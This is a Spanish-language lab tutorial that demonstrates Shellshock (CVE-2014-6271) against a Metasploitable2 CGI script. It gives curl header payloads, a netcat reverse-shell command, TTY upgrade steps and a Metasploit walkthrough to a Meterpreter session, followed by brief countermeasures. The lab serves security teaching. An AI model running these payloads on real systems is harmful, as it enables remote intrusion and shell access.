Un laboratorio de demostración completo y moderno para CVE-2014-6271 (Shellshock), que incluye arquitectura, pasos de explotación, uso de Burp Suite, shells inversas, contramedidas y una hoja de referencia completa de comandos.
Shellshock (CVE-2014-6271) es una de las vulnerabilidades de ejecución remota de código más influyentes jamás descubiertas. El fallo afecta a Bash y permite a atacantes ejecutar comandos arbitrarios simplemente inyectando cargas maliciosas en variables de entorno.
Esta guía proporciona una demostración completa y reproducible utilizando:
Está diseñada para enseñanza, investigación, formación y concienciación general en ciberseguridad.
| Componente | Función | Sistema Operativo | Dirección IP | Servicios Clave |
|---|---|---|---|---|
| Kali Linux | Atacante | Kali Linux (último) | 192.168.1.4 | curl, Burp Suite, Netcat |
| Metasploitable2 | Servidor vulnerable objetivo | Ubuntu Linux (MSF2) | 192.168.1.5 | Apache 2.2, scripts CGI, Bash |
| Apache mod_cgi | Ejecución de scripts | Se ejecuta en MSF2 | n/a | Expone Bash a través de CGI |
| shellshock.sh | Punto de entrada vulnerable | Bash CGI | n/a | Muestra variables de entorno |
Esta sencilla configuración de dos nodos refleja muchas implementaciones heredadas aún presentes en sistemas industriales y de IoT.
En Metasploitable2:
sudo su
cd /usr/lib/cgi-bin/
cat << 'EOF' > shellshock.sh
#!/bin/bash
echo "Content-type: text/html"
echo
echo "<pre>"
env
echo "</pre>"
EOF
chmod +x shellshock.sh
a2enmod cgi
service apache2 restart
Prueba el script desde Kali:
curl http://192.168.1.5/cgi-bin/shellshock.sh
Deberías ver las variables de entorno mostradas.
Shellshock ocurre cuando Bash analiza incorrectamente variables de entorno que se asemejan a definiciones de funciones.
Una variable maliciosa como:
() { :; }; /bin/bash -c "id"
hará que Bash ejecute el comando después de la definición de la función — incluso aunque la función nunca sea invocada.
Las aplicaciones CGI son especialmente vulnerables porque las cabeceras HTTP se pasan automáticamente a los scripts como variables de entorno.
curl -H 'User-Agent: () { :; }; echo; echo Vulnerable; /bin/bash -c "id"' \
http://192.168.1.5/cgi-bin/shellshock.sh
La salida debería incluir:
Vulnerable
uid=33(www-data)
Esto confirma ejecución remota de código.
Visita:
http://192.168.1.5/cgi-bin/shellshock.sh
Envía la solicitud a Repeater.
Reemplaza la cabecera User-Agent con:
User-Agent: () { :; }; echo; echo BurpTest; /bin/bash -c "id"
Deberías ver:
BurpTest
uid=33(www-data)
Burp Suite confirma la vulnerabilidad de manera visual y educativa.
Inicia el oyente en Kali:
nc -lvnp 4444
Desencadena la reversa shell a través del script CGI:
curl -H 'User-Agent: () { :; }; /bin/bash -c "nc 192.168.1.4 4444 -e /bin/bash"' \
http://192.168.1.5/cgi-bin/shellshock.sh
Una shell se conectará de vuelta a Kali.
Dentro de la reversa shell:
python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
Suspende la sesión:
Ctrl + Z
En Kali:
stty raw -echo; fg
Presiona Enter.
Ahora tienes:
┌────────────────────────┐
│ Atacante (Kali) │
│ 192.168.1.4 │
└───────────┬────────────┘
│
1. Cabecera HTTP maliciosa (Shellshock)
│
▼
┌──────────────────────────┐
│ Servidor Web Apache (CGI)│
│ 192.168.1.5 │
└───────────┬──────────────┘
│
2. Cabecera → Variable de entorno CGI
│
▼
┌──────────────────────────┐
│ Bash (Vulnerable) │
└───────────┬──────────────┘
│
3. Comando inyectado se ejecuta
│
▼
┌─────────────────────────┐
│ Acceso a shell www-data│
└───────────┬─────────────┘
│
4. Reversa Shell → Kali
│
▼
┌──────────────────────────┐
│ TTY interactiva completa │
└──────────────────────────┘
Un recorrido visual de las etapas clave del ataque.
| Descripción | Imagen |
|---|---|
| Escaneo Nmap + salida de prueba Shellshock | ![]() |
| Burp Suite – Solicitud inicial de Shellshock | ![]() |
| Burp Suite – Inyección de carga / cabecera | ![]() |
| Reversa shell recibida en Kali (nc) | ![]() |
Parchear a una versión que maneje correctamente el análisis de funciones.
El CGI heredado introduce un riesgo sistémico innecesario.
Descartar patrones sospechosos como:
() { :; };
Restringir permisos del usuario del servidor web (www-data).
Detiene reversas shells y la exfiltración de datos.
Las firmas modernas de WAF detectan Shellshock de inmediato.
Contiene los procesos de Bash y bloquea comportamientos no deseados.
Usar herramientas como:
http-shellshock.nse)sudo su
cd /usr/lib/cgi-bin/
cat << 'EOF' > shellshock.sh
#!/bin/bash
echo "Content-type: text/html"
echo
echo "<pre>"
env
echo "</pre>"
EOF
chmod +x shellshock.sh
a2enmod cgi
service apache2 restart
curl http://192.168.1.5/cgi-bin/shellshock.sh
curl -H 'User-Agent: () { :; }; echo; echo Vulnerable; /bin/bash -c "id"' \
http://192.168.1.5/cgi-bin/shellshock.sh
nc -lvnp 4444
curl -H 'User-Agent: () { :; }; /bin/bash -c "nc 192.168.1.4 4444 -e /bin/bash"' \
http://192.168.1.5/cgi-bin/shellshock.sh
Dentro de la shell:
python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
Suspender:
Ctrl + Z
En Kali:
stty raw -echo; fg
Presiona Enter.
Metasploit proporciona una forma profesional y automatizada de explotar Shellshock usando el módulo incorporado:
exploit/multi/http/apache_mod_cgi_bash_env_exec
Este método es rápido, fiable y ofrece ensamblaje automático de cargas (ej. Meterpreter).
msfconsole
search shellshock
Deberías ver (entre otros):
exploit/multi/http/apache_mod_cgi_bash_env_exec Apache mod_cgi Bash Environment Variable Code Injection (Shellshock)
auxiliary/scanner/http/apache_mod_cgi_bash_env Apache mod_cgi Bash Environment Variable Injection (Scanner)
use exploit/multi/http/apache_mod_cgi_bash_env_exec
Establecer IP del objetivo:
set rhosts 192.168.1.5
Establecer ruta CGI vulnerable:
set targeturi /cgi-bin/shellshock.sh
Establecer tu IP de Kali:
set lhost 192.168.1.4
Opcionalmente establecer puerto de escucha:
set lport 4444
Verificar:
options
Deberías ver:
RHOSTS 192.168.1.5
TARGETURI /cgi-bin/shellshock.sh
LHOST 192.168.1.4
LPORT 4444
METHOD GET
HEADER User-Agent
CVE CVE-2014-6271
run
En caso de éxito:
[*] Started reverse TCP handler on 192.168.1.4:4444
[*] Command Stager progress - 100.00%
[*] Sending stage ...
[*] Meterpreter session 1 opened ...
sessions -i 1
Ahora tienes:
meterpreter >
shell
Luego:
id
hostname
Esperado:
uid=33(www-data) gid=33(www-data)
metasploitable
Has obtenido ejecución remota de comandos usando Metasploit y Shellshock.
Esta demostración muestra cómo Shellshock puede ser explotado mediante manipulación simple de cabeceras HTTP, reversas shells, ejecución de scripts CGI y automatización con Metasploit. A pesar de tener más de una década, Shellshock sigue siendo una lección importante en:
Hecho con mucho amor por:
Haitham de Omán ❤️🇴🇲